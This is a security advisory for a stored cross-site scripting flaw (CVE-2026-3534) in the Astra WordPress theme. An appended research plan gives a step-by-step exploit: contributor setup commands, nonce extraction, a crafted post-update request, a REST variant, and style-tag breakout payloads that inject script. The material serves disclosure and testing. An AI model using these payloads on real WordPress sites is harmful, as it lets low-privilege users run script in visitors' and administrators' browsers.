Astra <= 4.12.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta
Description
The Astra theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `ast-page-background-meta` and `ast-content-background-meta` post meta fields in all versions up to, and including, 4.12.3. This is due to insufficient input sanitization on meta registration and missing output escaping in the `astra_get_responsive_background_obj()` function for four CSS-context sub-properties (`background-color`, `background-image`, `overlay-color`, `overlay-gradient`). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3534 - Astra Theme Stored XSS via Post Meta ## 1. Vulnerability Summary The Astra theme (<= 4.12.3) for WordPress contains a stored Cross-Site Scripting (XSS) vulnerability. It occurs because the theme fails to properly sanitize specific post meta fields (`ast-page-backgro…
Show full research plan
Research Plan: CVE-2026-3534 - Astra Theme Stored XSS via Post Meta
1. Vulnerability Summary
The Astra theme (<= 4.12.3) for WordPress contains a stored Cross-Site Scripting (XSS) vulnerability. It occurs because the theme fails to properly sanitize specific post meta fields (ast-page-background-meta and ast-content-background-meta) upon registration and subsequently fails to escape their sub-properties (background-color, background-image, overlay-color, overlay-gradient) when they are processed by the astra_get_responsive_background_obj() function and rendered in the page's CSS context. This allows authenticated attackers with Contributor-level permissions or higher to inject malicious scripts into posts.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(via theeditpostaction) or the WordPress REST API (/wp/v2/posts/{id}). - Vulnerable Parameter:
ast-page-background-metaorast-content-background-metawithin the post meta. - Authentication: Required (Contributor-level or higher). Contributors can edit their own posts and manage their metadata.
- Preconditions: The Astra theme must be active. The attacker must have a post they are permitted to edit.
3. Code Flow
- Source: A Contributor user updates a post, providing a malicious payload for the
ast-page-background-metapost meta field. - Persistence: The payload is stored in the
wp_postmetatable. Due to "insufficient input sanitization on meta registration," the raw or insufficiently cleaned payload is saved. - Processing: When the post is viewed, Astra calls
astra_get_responsive_background_obj()(likely located ininc/lib/core-front/orinc/theme-update/) to retrieve background settings. - Vulnerable Function:
astra_get_responsive_background_obj()parses the meta (which is usually a serialized array or JSON string) and extracts properties likebackground-color. - Sink: The extracted properties are passed into a style generation sequence (likely involving
wp_add_inline_styleor a custom CSS generator) without being passed throughesc_attr()or a CSS-specific escaping function. - Execution: The browser renders the page, encounters the breakout from the
<style>block (e.g.,}</style><script>...), and executes the injected JavaScript.
4. Nonce Acquisition Strategy
To exploit this via the standard WordPress post update flow, a valid _wpnonce for the editpost action is required.
- Log in as a Contributor user.
- Create or locate a post owned by the Contributor.
- Navigate to the edit page:
wp-admin/post.php?post={POST_ID}&action=edit. - Extract the Nonce: Use
browser_evalto extract the nonce from the page source.- Command:
browser_eval("document.querySelector('#_wpnonce').value")
- Command:
- Alternative (REST API): If Astra registers these meta fields for the REST API, navigate to the editor and grab the
wp_restnonce from thewpApiSettingsobject.- Command:
browser_eval("window.wpApiSettings?.nonce")
- Command:
5. Exploitation Strategy
Step 1: Create a Contributor User and Post
Use WP-CLI to set up the environment.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="Vulnerable Post"
Step 2: Identify Meta Structure
Astra stores background meta as a JSON string in post meta. The payload needs to target the desktop responsive key and the background-color or overlay-color property.
Target Payload Structure (JSON):
{
"desktop": {
"background-color": "rgba(255,255,255,0); } </style><script>alert(origin)</script><style>.dummy { "
}
}
Step 3: Inject via HTTP Request
Send a POST request to wp-admin/post.php simulating the post update.
Request Details:
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpostpost_ID={POST_ID}_wpnonce={NONCE}meta_input[ast-page-background-meta]={"desktop":{"background-color":"#ffffff;}</style><script>alert(window.origin)</script><style>.dummy{"}}
Note: If meta_input is not processed by the theme's custom saving logic, the meta may need to be updated via wp-admin/admin-ajax.php if Astra uses a custom AJAX handler for its settings sidebar.
Step 4: Verification on Frontend
Navigate to the post URL and check if the script executes.
6. Test Data Setup
- Theme: Astra (version <= 4.12.3) installed and active.
- User: A user with
contributorrole. - Post: A post ID belonging to the contributor.
- Target Meta Key:
ast-page-background-meta.
7. Expected Results
- The HTTP request should return a
302 Redirectback to the post edit page (standard WP behavior). - When navigating to the post frontend, the HTML source should contain:
<style id='astra-theme-inline-css' type='text/css'> ... { background-color: #ffffff;} </style><script>alert(window.origin)</script><style>.dummy{ ; } ... </style> - An alert box showing the site origin should appear in the browser.
8. Verification Steps (Post-Exploit)
Confirm the meta is stored correctly via WP-CLI:
wp post meta get {POST_ID} ast-page-background-meta
The output should match the injected JSON payload.
9. Alternative Approaches
Alternative A: overlay-gradient
If background-color is filtered by a generic sanitizer, overlay-gradient might be missed.
Payload: linear-gradient(#ffffff, #000000); } </style><script>alert(1)</script>
Alternative B: REST API Update
If Astra enables show_in_rest for this meta, update the post via:
- Endpoint:
PATCH /wp-json/wp/v2/posts/{ID} - Header:
X-WP-Nonce: {REST_NONCE} - Body (JSON):
{ "meta": { "ast-page-background-meta": "{\"desktop\":{\"background-color\":\"#fff;}</style><script>alert(1)</script>\"}}" } }
Alternative C: ast-content-background-meta
Repeat the process using the ast-content-background-meta key if ast-page-background-meta is unavailable or patched differently.
Summary
The Astra theme for WordPress (<= 4.12.3) is vulnerable to Stored Cross-Site Scripting due to insufficient sanitization and output escaping of the 'ast-page-background-meta' and 'ast-content-background-meta' post meta fields. Authenticated attackers with Contributor-level access can inject malicious JavaScript into background CSS sub-properties, which executes in the context of the user's browser when the affected page is viewed.
Exploit Outline
1. Authenticate as a Contributor or higher-level user. 2. Identify a post ID that the user has permission to edit. 3. Send a POST request to /wp-admin/post.php (or a PATCH request to the REST API) to update the 'ast-page-background-meta' or 'ast-content-background-meta' meta field. 4. Provide a JSON payload that breaks out of a CSS context and style tag within a background sub-property (e.g., background-color). Example payload structure: {"desktop":{"background-color":"rgba(0,0,0,0); } </style><script>alert(origin)</script><style>.dummy { "}}. 5. Navigate to the frontend of the edited post where the astra_get_responsive_background_obj() function processes the meta and outputs it into an inline <style> block, triggering the script execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.